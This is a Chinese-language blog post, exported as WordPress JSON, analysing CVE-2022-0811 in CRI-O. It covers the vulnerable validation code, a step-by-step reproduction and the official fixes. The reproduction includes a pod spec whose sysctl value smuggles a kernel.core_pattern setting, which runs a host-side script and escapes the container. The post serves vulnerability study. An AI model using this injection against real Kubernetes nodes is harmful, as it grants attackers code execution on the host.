{"id":309,"date":"2022-11-14T22:34:40","date_gmt":"2022-11-14T14:34:40","guid":{"rendered":"https:\/\/h4ckm310n.com\/?p=309"},"modified":"2023-07-02T16:04:00","modified_gmt":"2023-07-02T08:04:00","slug":"cve-2022-0811%e5%ad%a6%e4%b9%a0%e3%80%902%e3%80%91%e6%b8%97%e9%80%8f%e6%b5%8b%e8%af%95","status":"publish","type":"post","link":"https:\/\/h4ckm310n.com\/?p=309","title":{"rendered":"CVE-2022-0811\u5b66\u4e60"},"content":{"rendered":"<p><!--more--><\/p>\n<h4>\u6f0f\u6d1e\u5206\u6790<\/h4>\n<p>CVE-2022-0811\u662f\u4e00\u4e2aCRI-O\u6f0f\u6d1e\uff0c\u5229\u7528\u8fd9\u4e2a\u6f0f\u6d1e\u53ef\u4ee5\u5728\u521b\u5efa\u5bb9\u5668\u65f6\u7ed5\u8fc7CRI-O\u7684\u9650\u5236\uff0c\u8bbe\u7f6e\u4efb\u610f\u5185\u6838\u53c2\u6570\uff0c\u5e76\u5f71\u54cd\u540c\u4e00k8s\u8282\u70b9\u4e0b\u7684\u5176\u4ed6\u5bb9\u5668\u3002<\/p>\n<p>\u5728\u521b\u5efa\u5bb9\u5668\u7684\u65f6\u5019\uff0cCRI-O\u901a\u8fc7pinns\u6765\u8bbe\u7f6e\u5185\u6838\u53c2\u6570\uff0c\u683c\u5f0f\u5982\u4e0b\uff1a<\/p>\n<pre>pinns -s key1=val1+key2=val2<\/pre>\n<p>\u53ef\u4ee5\u770b\u5230pinns\u4f7f\u7528\u201c+\u201d\u5b57\u7b26\u6765\u5206\u5272\u6bcf\u4e2a\u952e\u503c\u5bf9\u3002\u5728\u8c03\u7528pinns\u4e4b\u524d\uff0cCRI-O\u4f1a\u5148\u68c0\u67e5\u6bcf\u4e2akey\u7684\u524d\u7f00\uff0c\u53ea\u6709\u5728key\u7684\u524d\u7f00\u5728\u767d\u540d\u5355\u91cc\u65f6\uff0c\u624d\u5141\u8bb8\u8bbe\u7f6e\u5185\u6838\u53c2\u6570[1.1]\uff1a<\/p>\n<pre>var prefixNamespaces = map[string]Namespace{\r\n    \"kernel.shm\": IpcNamespace,\r\n    \"kernel.msg\": IpcNamespace,\r\n    \"fs.mqueue.\": IpcNamespace,\r\n    \"net.\":       NetNamespace,\r\n}\r\n\r\n\/\/ Validate checks that a sysctl is whitelisted because it is known to be\r\n\/\/ namespaced by the Linux kernel. The parameters hostNet and hostIPC are used\r\n\/\/ to forbid sysctls for pod sharing the respective namespaces with the host.\r\n\/\/ This check is only used on sysctls defined by the user in the crio.conf\r\n\/\/ file.\r\nfunc (s *Sysctl) Validate(hostNet, hostIPC bool) error {\r\n    ......\r\n    for p, ns := range prefixNamespaces {\r\n        if strings.HasPrefix(s.Key(), p) {\r\n            if ns == IpcNamespace &amp;&amp; hostIPC {\r\n                return errors.Errorf(nsErrorFmt, s.Key(), ns)\r\n            }\r\n            if ns == NetNamespace &amp;&amp; hostNet {\r\n                return errors.Errorf(nsErrorFmt, s.Key(), ns)\r\n            }\r\n            return nil\r\n        }\r\n    }\r\n    return errors.Errorf(\"%s not whitelisted\", s.Key())\r\n}\r\n<\/pre>\n<p>\u5982\u540c\u524d\u9762\u63d0\u5230\u7684\u90a3\u6837\uff0cCRI-O\u5728\u8c03\u7528pinns\u7684\u65f6\u5019\uff0c\u662f\u76f4\u63a5\u628a\u6bcf\u4e2a\u952e\u503c\u5bf9\u7528\u201c+\u201d\u62fc\u63a5\u8d77\u6765\u7684[1.2]\uff1a<\/p>\n<pre>func getSysctlForPinns(sysctls map[string]string) string {\r\n    \/\/ this assumes there's no sysctl with a `+` in it\r\n    const pinnsSysctlDelim = \"+\"\r\n    g := new(bytes.Buffer)\r\n    for key, value := range sysctls {\r\n        fmt.Fprintf(g, \"'%s=%s'%s\", key, value, pinnsSysctlDelim)\r\n    }\r\n    return strings.TrimSuffix(g.String(), pinnsSysctlDelim)\r\n}\r\n<\/pre>\n<p>\u7136\u800c\uff0c\u4e0a\u9762\u7684\u68c0\u67e5\u64cd\u4f5c\u5e76\u6ca1\u6709\u5bf9value\u8fdb\u884c\u68c0\u67e5\uff0c\u56e0\u6b64\uff0c\u53ef\u4ee5\u901a\u8fc7\u5728\u5185\u6838\u53c2\u6570\u7684value\u4e2d\u52a0\u5165\u53e6\u4e00\u5bf9\u952e\u503c\u5bf9\u6765\u7ed5\u8fc7key\u7684\u68c0\u67e5\uff0c\u4f8b\u5982\u201cvalue1+key2=value2\u201d\uff0c\u5176\u4e2dkey2\u548cvalue2\u5c31\u662f\u53e6\u4e00\u4e2a\u5185\u6838\u53c2\u6570\u7684\u952e\u503c\u5bf9\uff0c\u8fd9\u6837\uff0c\u6700\u7ec8\u8c03\u7528pinns\u65f6\u7684\u53c2\u6570\u5c31\u662f\u201ckey1=value1+key2=value2\u201d\uff0ckey2\u7ed5\u8fc7\u4e86\u68c0\u67e5\uff0c\u4f46\u4ecd\u4f1a\u88abpinns\u8bc6\u522b\u5e76\u8bbe\u7f6e\u3002<\/p>\n<h4>\u6f0f\u6d1e\u590d\u73b0<\/h4>\n<p>\u7cfb\u7edf\uff1aUbuntu 20.04<br \/>\nKubernetes: 1.23.4<br \/>\nCRI-O: 1.23.1<\/p>\n<p>\u521b\u5efa\u4e00\u4e2a\u65b0\u7684Pod\uff0c\u914d\u7f6e\u6587\u4ef6\u5185\u5bb9\u5982\u4e0b\uff1a<\/p>\n<pre># pod-a.yaml\r\napiVersion: v1\r\nkind: Pod\r\nmetadata:\r\n  name: pod-a\r\nspec:\r\n  containers:\r\n  - name: alpine\r\n    image: alpine:latest\r\n    command: [\"tail\", \"-f\", \"\/dev\/null\"]\r\n<\/pre>\n<p>\u521b\u5efa\u5e76\u8fdb\u5165Pod\u7684shell\uff1a<\/p>\n<pre>kubectl create -f pod-a.yaml\r\nkubectl exec -it pod-a -- \/bin\/sh\r\n<\/pre>\n<p>\u901a\u8fc7mount\u547d\u4ee4\uff0c\u53ef\u4ee5\u5f97\u5230\u5982\u4e0b\u7ed3\u679c\uff1a<br \/>\n<img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-315\" src=\"https:\/\/h4ckm310n.com\/wp-content\/uploads\/2022\/11\/pod-a_mount.png\" alt=\"\" width=\"3138\" height=\"112\" srcset=\"https:\/\/h4ckm310n.com\/wp-content\/uploads\/2022\/11\/pod-a_mount.png 3138w, https:\/\/h4ckm310n.com\/wp-content\/uploads\/2022\/11\/pod-a_mount-300x11.png 300w, https:\/\/h4ckm310n.com\/wp-content\/uploads\/2022\/11\/pod-a_mount-1024x37.png 1024w, https:\/\/h4ckm310n.com\/wp-content\/uploads\/2022\/11\/pod-a_mount-768x27.png 768w, https:\/\/h4ckm310n.com\/wp-content\/uploads\/2022\/11\/pod-a_mount-1536x55.png 1536w, https:\/\/h4ckm310n.com\/wp-content\/uploads\/2022\/11\/pod-a_mount-2048x73.png 2048w\" sizes=\"auto, (max-width: 3138px) 100vw, 3138px\" \/><br \/>\n\u5176\u4e2d\uff0cupperdir\u4e3a\/var\/lib\/containers\/storage\/overlay\/d0ae0689a1a6475972ae3f35e168e4feb3b506de0e0daafd032157cd3fb1428f\/diff\uff0c\u8fd9\u662f\u5185\u6838\u5230\u5bb9\u5668\u6839\u76ee\u5f55\u7684\u8def\u5f84\u3002<\/p>\n<p>\u521b\u5efa\u4e00\u4e2a\u811a\u672c\u6587\u4ef6malicious.sh\uff0c\u5185\u5bb9\u4e3a\uff1a<\/p>\n<pre>#!\/bin\/sh\r\ndate &gt;&gt; \/var\/lib\/containers\/storage\/overlay\/d0ae0689a1a6475972ae3f35e168e4feb3b506de0e0daafd032157cd3fb1428f\/diff\/output\r\n<\/pre>\n<p>\u7528chmod +x\u4e3a\u8fd9\u4e2a\u6587\u4ef6\u6dfb\u52a0\u6267\u884c\u6743\u9650\uff0c\u7136\u540e\u5728\u6839\u76ee\u5f55\u4e0btouch\u4e00\u4e2aoutput\u6587\u4ef6\u3002<\/p>\n<p>\u63a5\u4e0b\u6765\u521b\u5efa\u53e6\u4e00\u4e2aPod\uff0cyaml\u5185\u5bb9\u4e3a\uff1a<\/p>\n<pre>apiVersion: v1\r\nkind: Pod\r\nmetadata:\r\n  name: pod-b\r\nspec:\r\n  securityContext:\r\n   sysctls:\r\n   - name: kernel.shm_rmid_forced\r\n     value: \"1+kernel.core_pattern=|\/var\/lib\/containers\/storage\/overlay\/d0ae0689a1a6475972ae3f35e168e4feb3b506de0e0daafd032157cd3fb1428f\/diff\/malicious.sh #\"\r\n  containers:\r\n  - name: alpine\r\n    image: alpine:latest\r\n    command: [\"tail\", \"-f\", \"\/dev\/null\"]\r\n<\/pre>\n<p>\u518d\u6b21\u8fdb\u5165pod-a\u7684shell\uff0c\u83b7\u53d6\/proc\/sys\/kernel\/core_pattern\u7684\u5185\u5bb9\uff1a<br \/>\n<img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-317\" src=\"https:\/\/h4ckm310n.com\/wp-content\/uploads\/2022\/11\/pod-a_cat_core_pattern.png\" alt=\"\" width=\"1750\" height=\"82\" srcset=\"https:\/\/h4ckm310n.com\/wp-content\/uploads\/2022\/11\/pod-a_cat_core_pattern.png 1750w, https:\/\/h4ckm310n.com\/wp-content\/uploads\/2022\/11\/pod-a_cat_core_pattern-300x14.png 300w, https:\/\/h4ckm310n.com\/wp-content\/uploads\/2022\/11\/pod-a_cat_core_pattern-1024x48.png 1024w, https:\/\/h4ckm310n.com\/wp-content\/uploads\/2022\/11\/pod-a_cat_core_pattern-768x36.png 768w, https:\/\/h4ckm310n.com\/wp-content\/uploads\/2022\/11\/pod-a_cat_core_pattern-1536x72.png 1536w\" sizes=\"auto, (max-width: 1750px) 100vw, 1750px\" \/><\/p>\n<p>\u89e6\u53d1\u6f0f\u6d1e\uff1a<br \/>\n<img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-318\" src=\"https:\/\/h4ckm310n.com\/wp-content\/uploads\/2022\/11\/pod-a_trigger_vul.png\" alt=\"\" width=\"846\" height=\"590\" srcset=\"https:\/\/h4ckm310n.com\/wp-content\/uploads\/2022\/11\/pod-a_trigger_vul.png 846w, https:\/\/h4ckm310n.com\/wp-content\/uploads\/2022\/11\/pod-a_trigger_vul-300x209.png 300w, https:\/\/h4ckm310n.com\/wp-content\/uploads\/2022\/11\/pod-a_trigger_vul-768x536.png 768w\" sizes=\"auto, (max-width: 846px) 100vw, 846px\" \/><\/p>\n<p>\u6b64\u65f6\u518d\u6b21\u67e5\u770boutput\u6587\u4ef6\uff0c\u5c31\u53ef\u4ee5\u5f97\u5230\u811a\u672c\u8f93\u51fa\u7684\u5185\u5bb9\uff1a<br \/>\n<img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-319\" src=\"https:\/\/h4ckm310n.com\/wp-content\/uploads\/2022\/11\/pod-a_cat_output.png\" alt=\"\" width=\"486\" height=\"78\" srcset=\"https:\/\/h4ckm310n.com\/wp-content\/uploads\/2022\/11\/pod-a_cat_output.png 486w, https:\/\/h4ckm310n.com\/wp-content\/uploads\/2022\/11\/pod-a_cat_output-300x48.png 300w\" sizes=\"auto, (max-width: 486px) 100vw, 486px\" \/><\/p>\n<h4>\u5b98\u65b9\u4fee\u590d<\/h4>\n<p>CRI-O\u5b98\u65b9\u53d1\u5e03\u4e86\u4e24\u4e2a\u4fee\u590d\u7248\u672c\uff0c\u7b2c\u4e00\u4e2a\u7248\u672c\u5bf9key\u548cvalue\u90fd\u8fdb\u884c\u68c0\u67e5\uff0c\u5224\u65ad\u91cc\u9762\u662f\u5426\u5305\u542b\u201c+\u201d\uff0c\u5982\u679c\u5305\u542b\u5219\u4f1a\u8fd4\u56de\u9519\u8bef[3.1]\uff1a<\/p>\n<pre>for key, value := range sysctls {\r\n    if strings.Contains(key, pinnsSysctlDelim) || strings.Contains(value, pinnsSysctlDelim) {\r\n        return \"\", errors.Errorf(\"'%s=%s' is invalid: %s found yet should not be present\", key, value, pinnsSysctlDelim)\r\n    }\r\n    fmt.Fprintf(g, \"'%s=%s'%s\", key, value, pinnsSysctlDelim)\r\n}\r\n<\/pre>\n<p>\u7b2c\u4e8c\u4e2a\u7248\u672c\u5219\u662f\u4fee\u6539\u4e86pinns\u7684\u8c03\u7528\u65b9\u5f0f\uff0c\u901a\u8fc7\u591a\u4e2a\u201c-s\u201d\u6765\u8bbe\u7f6e\u591a\u4e2a\u5185\u6838\u53c2\u6570\uff0c\u800c\u4e0d\u662f\u50cf\u4e4b\u524d\u90a3\u6837\u7528\u201c+\u201d\u62fc\u63a5\u8d77\u6765[3.2]<\/p>\n<pre>for key, value := range cfg.Sysctls {\r\n    pinnsArgs = append(pinnsArgs, \"-s\", fmt.Sprintf(\"%s=%s\", key, value))\r\n}\r\n<\/pre>\n<h4>\u53c2\u8003<\/h4>\n<p>[1.1] <a href=\"https:\/\/github.com\/cri-o\/cri-o\/blob\/v1.23.1\/pkg\/config\/sysctl.go#L73\" target=\"_blank\" rel=\"noopener\">https:\/\/github.com\/cri-o\/cri-o\/blob\/v1.23.1\/pkg\/config\/sysctl.go#L73<\/a><br \/>\n[1.2] <a href=\"https:\/\/github.com\/cri-o\/cri-o\/blob\/v1.23.1\/internal\/config\/nsmgr\/nsmgr.go#L174\" target=\"_blank\" rel=\"noopener\">https:\/\/github.com\/cri-o\/cri-o\/blob\/v1.23.1\/internal\/config\/nsmgr\/nsmgr.go#L174<\/a><br \/>\n[2.1] <a href=\"https:\/\/www.crowdstrike.com\/blog\/cr8escape-new-vulnerability-discovered-in-cri-o-container-engine-cve-2022-0811\/\" target=\"_blank\" rel=\"noopener\">https:\/\/www.crowdstrike.com\/blog\/cr8escape-new-vulnerability-discovered-in-cri-o-container-engine-cve-2022-0811\/<\/a><br \/>\n[2.2] <a href=\"https:\/\/zone.huoxian.cn\/d\/1003-kubernetes-cri-ocve-2022-0811\" target=\"_blank\" rel=\"noopener\">https:\/\/zone.huoxian.cn\/d\/1003-kubernetes-cri-ocve-2022-0811<\/a><br \/>\n[3.1] <a href=\"https:\/\/github.com\/cri-o\/cri-o\/commit\/c0b2474b80fd0844b883729bda88961bed7b472b\" target=\"_blank\" rel=\"noopener\">https:\/\/github.com\/cri-o\/cri-o\/commit\/c0b2474b80fd0844b883729bda88961bed7b472b<\/a><br \/>\n[3.2] <a href=\"https:\/\/github.com\/cri-o\/cri-o\/commit\/76f1301c9eb979cbecdbbbb41ed72774285a814c\" target=\"_blank\" rel=\"noopener\">https:\/\/github.com\/cri-o\/cri-o\/commit\/76f1301c9eb979cbecdbbbb41ed72774285a814c<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_uag_custom_page_level_css":"","site-sidebar-layout":"default","site-content-layout":"default","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","ast-disable-related-posts":"","theme-transparent-header-meta":"default","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[16,6],"tags":[],"class_list":["post-309","post","type-post","status-publish","format-standard","hentry","category-16","category-6"],"uagb_featured_image_src":{"full":false,"thumbnail":false,"medium":false,"medium_large":false,"large":false,"1536x1536":false,"2048x2048":false},"uagb_author_info":{"display_name":"h4ckm310n","author_link":"https:\/\/h4ckm310n.com\/?author=1"},"uagb_comment_info":0,"uagb_excerpt":null,"_links":{"self":[{"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=\/wp\/v2\/posts\/309","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=309"}],"version-history":[{"count":9,"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=\/wp\/v2\/posts\/309\/revisions"}],"predecessor-version":[{"id":464,"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=\/wp\/v2\/posts\/309\/revisions\/464"}],"wp:attachment":[{"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=309"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=309"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/h4ckm310n.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=309"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}